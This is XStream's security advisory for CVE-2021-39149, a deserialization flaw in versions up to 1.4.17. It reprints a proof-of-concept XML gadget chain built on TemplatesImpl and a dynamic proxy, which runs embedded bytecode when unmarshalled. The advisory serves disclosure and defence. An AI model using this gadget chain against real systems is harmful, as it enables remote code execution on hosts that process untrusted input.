## Vulnerability

CVE-2021-39149: XStream is vulnerable to an Arbitrary Code Execution attack.

## Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

## Steps to Reproduce

Create a simple LinkedHashSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <linked-hash-set>
      <dynamic-proxy>
        <interface>map</interface>
        <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
    	  <classToInvocationHandler class='linked-hash-map'/>
          <defaultHandler class='sun.tracing.NullProvider'>
            <active>true</active>
            <providerType>java.lang.Object</providerType>
            <probes>
              <entry>
                <method>
                  <class>java.lang.Object</class>
                  <name>hashCode</name>
                  <parameter-types/>
                </method>
                <sun.tracing.dtrace.DTraceProbe>
                  <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                      <default>
                        <__name>Pwnr</__name>
                        <__bytecodes>
                          <byte-array> </byte-array>
                          <byte-array> </byte-array>
                        </__bytecodes>
                        <__transletIndex>-1</__transletIndex>
                        <__indentNumber>0</__indentNumber>
                      </default>
                    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  </proxy>
                  <implementing__method>
                    <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                    <name>getOutputProperties</name>
                    <parameter-types/>
                  </implementing__method>
                </sun.tracing.dtrace.DTraceProbe>
              </entry>
            </probes>
          </defaultHandler>
        </handler>
      </dynamic-proxy>
    </linked-hash-set>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the code from the payload gets executed on the host.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

## Workarounds

See workarounds for the different versions covering all CVEs.

## Credits

Lai Han of NSFOCUS security team found and reported the issue to XStream and provided the required information to reproduce it.